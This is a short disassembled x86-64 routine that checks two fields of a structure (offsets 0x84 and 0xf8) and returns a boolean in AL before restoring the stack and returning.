cmp dword [rcx + 0x84], 0xe
jbe 0x140001ac6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ac8
xor al, al
add rsp, 0x28
ret